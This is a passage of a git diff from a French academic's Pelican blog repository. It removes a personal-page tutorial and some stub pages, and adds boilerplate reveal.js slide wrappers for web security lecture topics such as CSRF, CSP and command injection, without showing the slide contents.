s8LfqR9O/vXbAO0MREr6wMazWs8r1gDKjQuwV0M/TY0mkQBzUxF0stIp2M1jeYuq
P96pAbCVGccgHbzGTNOmuxe2Ews9fbnC1WcW8CCmmSHCeG2wwFs7kSR5Db8/O/nx
on51kxmJhOwhKgoCvLTPgbG868OZZB0afR/LJZNlIEhITVv4J1lTVYTUGuUa1rE7
gKMDP2HrP8M2+qsPyVLzwyo8gp/CIo8q/0B9u9zuTB76aBtRsxyzUwHacpwRlvUC
mnW7Xs4A5aar30BHqOuqAB5i360kPQUyaV56OgahuLPoz0VT6TeQmjZyi1ZZZMd3
+X8cCtMLvGQJRaF/Wuurqd3ohsbj+O1OUy9NqQr2mCDkzzJl3SdpQHqVa30pfSoW
5cLP4PXh92OwChmjRsI24ROe7TBf6LDvo9yI9hfjt9B82vvK0NUgzErgEEZyJkZC
EY3rLOLCqn098tGx89oCNq9YzK/Olqwsw/QLgRDYq/mpENKCsHY3Q8YbPKA7S1Z/
jxYqvNsiYYcrtSb/bunb1c/qyFuN8i3/piI=
=P7rz
-----END PGP PUBLIC KEY BLOCK-----
```

content/pages/projets.md

deleted100644 → 0
+0 −13
Original line number Diff line number Diff line
Title: <i class="fa fa-cogs" aria-hidden="true"></i> Projets
Date: 2010-05-17 10:27

## Idées à développer


### Security dashboard
* https://github.com/AliasIO/Wappalyzer
* https://github.com/cve-search/cve-search
* https://stackoverflow.com/questions/14866528/how-can-i-grab-the-latest-stable-repo-version-from-the-github-api

### malware analysis lab
* https://securedorg.github.io/

content/pages/recherche.md

deleted100644 → 0
+0 −4
Original line number Diff line number Diff line
Title: <i class="fa fa-flask" aria-hidden="true"></i> Recherche
Date: 2010-05-17 10:27

## Projets liés à la recherche

content/pelican/pelican.md

deleted100644 → 0
+0 −131
Original line number Diff line number Diff line
Title: Blog et pages perso au LIMOS
Date: 2017-05-24 10:20
Status: Published
Tags: python, pages perso, blog
Summary: Comment se créer sa page perso en utilisant éventuellement le moteur de blog pelican
Image: images/pelican/pelican.jpg

[TOC]

## Comment obtenir un espace web personnel?

Tout compte unix ayant un homedir sur le serveur de fichier **glouglou** peut se créer son espace web personnel en créant un répertoire ```public_html``` à la racine de son répertoire.

Tout le contenu de /home/path/to/username/public_html sera accessible via
* https://limos.isima.fr/~username
* https://fc.isima.fr/~username
* https://www.isima.fr/~username
* https://isima.fr/~username

## Comment faire ma page personnelle?

* tout seul
    * Si la solution ci-dessous vous êtes libre d'organiser votre espace web personnel comme bon vous semble: pour des raisons de sécurité privilégiez les sites statiques.
        * Si vous avez réellement besoin de traitements côté serveur, php est installé. Vous pouvez également bénéficer d'une base de données en effectuant une demande à [cri@isima.fr](mailto:cri@isima.fr)

* avec Pelican
    * Pelican est un module python qui permet à partir d'un code source (une arborescence de fichiers textes au format [markdown](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet)) de générer des fichiers html statiques présentés dans une charte graphique fonctionnelle et unifiée.

> Cet article est consacré exclusivement à l'élaboration d'une page perso avec pelican!

### Prérequis

* [python](https://www.python.org/) >= 2.6 ([installation](http://www.mkdocs.org/#installing-python))
* [pip](https://pypi.python.org/pypi/pip) ([installation](https://pip.pypa.io/en/stable/installing/))
* [git](https://git-scm.com/) ([installation](https://git-scm.com/book/fr/v1/D%C3%A9marrage-rapide-Installation-de-Git))
* un éditeur de texte : [atom.io](https://atom.io/) est recommandé
* savoir ce qu'est [markdown](https://guides.github.com/features/mastering-markdown/)

### Installation de l'environnment

```shell
sudo pip install --editable .
```

> N.B. le '.' après --editable !!

> il est aussi possible d'installer ces modules python dans un virtualenv python afin de ne pas modifier la configuration de python sur votre système

### Récupérer son blog

* Le plus simple est probablement de forker [<i class="fa fa-gitlab" aria-hidden="true"></i> ce blog](https://gitlab.isima.fr/mazenovi/mazenod) (celui que vous êtes en train de lire)

[![fork pelican](images/pelican/fork-pelican.png)](images/pelican/fork-pelican.png)

* puis de cloner votre nouveau repo

```bash
git clone git@gitlab.isima.fr:username/blog.git
```

### Personnalisation

L'essentielle de la personnalisation du blog se fait dans le fichier ```pelicanconf.py``` à la racine du repo

Les principales options sont les suivantes

* ```AUTHOR``` : l'auteur du blog. En pratique c'est la chaîne de caractères qui sera affichée en pied de page de votre blog.
* ```SITENAME``` : le nom du site. En pratique cette chaîne de caractère est affichée dans l'en tête du site et dans les balises méta HTML qui servent notamment pour le référencement.
* ```SITELOGO``` le chemin vers l'image qui sera affichée dans l'en-tête du sites à (relativement au dossier ```content```)
* ```FAVICON ``` le chemin vers l'image affichée en [favicon](https://fr.wikipedia.org/wiki/Favicon) (relativement au dossier ```content```)
* ```LINKS``` et ```SOCIAL``` sont des tuples à 3 valeurs
    * première valeur le nom d'une icône issue de [http://fontawesome.io/icons/](http://fontawesome.io/icons/)
    * le libellé du lien
    * l'url vers la quelle pointera le lien
    ces listes de liens s'afficheront dans le menu de gauche
* ```CC_LICENSE```, ```CC_LICENSE_DERIVATIVES```, ```CC_LICENSE_COMMERCIAL``` et ```CUSTOM_LICENSE``` indiquent la licence de partage du contenu de votre page perso.
    * en savoir plus sur la [licence Creative Commons](https://fr.wikipedia.org/wiki/Licence_Creative_Commons)
    * choisir la bonne [licence Creative Commons](https://creativecommons.org/choose/)
    * [liste de licences de libre diffusion](https://fr.wikipedia.org/wiki/Licence_de_libre_diffusion#Liste_de_licences_de_libre_diffusion)
    les commentaires dans le fichier ```pelicanconf.py``` sont là pour vous aider
* ```DISQUS_SITENAME``` permet d'activer le service [disqus](https://disqus.com/) pour gérer les commentaires de votre blog
* ```DISPLAY_TAGS_ON_SIDEBAR``` permet d'afficher les tags utilisé dasnle menu de droite.
    * ```TAG_CLOUD_STEPS```, ```TAG_CLOUD_MAX_ITEMS``` ```TAG_CLOUD_BADGE``` permettent de personnaliser l'affichage des tags dasn la colonnes de droite

#### .gitlab-ci.yml

le fichier ```.gitlab-ci.yml``` permet d'automatiser la publication du contenu à chaque commit poussé sur le repository gitlab.

Pour l'utiliser vous devez simplement spécifier votre nom d'utilisateur et une clé ssh dans la partie variable du repository hébergeant votre page perso.

### Modifer ou ajouter du contenu à son espace personnel avec Pelican

Si vous venez de forker le repo vous devriez

#### Thèmes

Le thème LIMOS a été réalisé à partir du thème [pelican-bootstrap3](https://github.com/getpelican/pelican-themes/tree/master/pelican-bootstrap3)

* la version personnalisée limos est maintenu sur le repo
* si vous souhaitez mettre à jour votre thème il suffit de récupérer l'archive et de la décompressé dans le répertoire themes


### Coloration syntaxique

* [aperçus des thèmes pygment pour la coloration syntaxique](https://help.farbox.com/pygments.html)

### Equations mathématiques

### Table des matières

### Multi linguisme

### Quelques précisions techniques

#### Plugins

Les plugins pré installés sont

* [i18n_subsites](https://github.com/getpelican/pelican-plugins/tree/master/i18n_subsites) permet le multilinguisme complet du site
* [extract_toc]() qui permet la génération dynamique d'[ancres html](https://www.alsacreations.com/astuce/lire/5-lien-precis-page-ancre-anchor-diese.html) sur tous les titres (h1, h2, ...) et la génération automatique d'une table des matières pour les posts longs
* [math_render](https://github.com/getpelican/pelican-plugins/tree/master/render_math) permet d'insérer des forumles mathématique directement dans le corps des postets ou page
* [tipue_search](https://github.com/getpelican/pelican-plugins/tree/master/tipue_search) permet d'intégrer un moteur de recherche
* [tag_cloud](https://github.com/getpelican/pelican-plugins/tree/master/tag_cloud) permet de faire apparaître les tags et le nombre d'articles associés dans le menu de gauche
* à faire : [assets](https://github.com/getpelican/pelican-plugins/tree/master/assets) pour minifier et concaténer les fichiers css et js

### Librairies incluses

Ce blog intègre
* [fontawesome](http://fontawesome.io).
* [bootsrap3](http://getbootstrap.com/)
* [jquery v2.2.1](https://jquery.com/)
+70 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>anticiper</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/anticiper.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
  </body>
</html>
+70 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>authentification</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/authentication.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>Browser</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/browser.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
    <script src="../main.js"></script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>Brute Force</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/bruteforce.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
    <script src="../main.js"></script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>Captcha</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/browser.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
    <script src="../main.js"></script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>CMDi</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/cmdi.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../main.js"></script>
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>CSP</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/csp.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
    <script src="../main.js"></script>
  </body>
</html>
+71 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>CSRF</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/black.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/@fortawesome/fontawesome-free/css/all.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/csrf.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <!-- script src="../../node_modules/reveal.js/lib/js/head.min.js"></script -->
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
    <script src="../main.js"></script>
  </body>
</html>
+70 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>Détecter</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/detecting.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
            callback: function() {
              Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){
                var fragIndex = ele.innerHTML.indexOf("--")
                if (fragIndex != -1){
                  ele.innerHTML = ele.innerHTML.replace("--", "");
                  ele.className = 'fragment';
                }
              });
            }
          },
          { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true },
          { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
        ]
      });
    </script>
  </body>
</html>
+70 −0
Original line number Diff line number Diff line
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">

    <title>Drupalgeddon</title>

    <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css">
    <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css">

    <!-- Theme used for syntax highlighting of code -->
    <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css">
    <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css">
    <link rel="stylesheet" href="../main.css">

    <!-- Printing and PDF exports -->
    <script>
      var link = document.createElement( 'link' );
      link.rel = 'stylesheet';
      link.type = 'text/css';
      link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css';
      document.getElementsByTagName( 'head' )[0].appendChild( link );
    </script>
  </head>
  <body>
    <div class="reveal">
      <div class="slides">
        <section data-markdown="md/drupalgeddon.md"
         data-separator="^\n\n\n"
         data-separator-vertical="^\n\n"
         data-separator-notes="^Note:"
         data-charset="utf-8">
       </section>
      </div>
    </div>

    <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script>
    <script src="../../node_modules/reveal.js/js/reveal.js"></script>

    <script>
      // More info about config & dependencies:
      // - https://github.com/hakimel/reveal.js#configuration
      // - https://github.com/hakimel/reveal.js#dependencies
      Reveal.initialize({
        controls: true,
        progress: true,
        history: true,
        center: false,
        dependencies: [
          { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' },
          { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js',
            condition: function() { return !!document.querySelector( '[data-markdown]' ); },
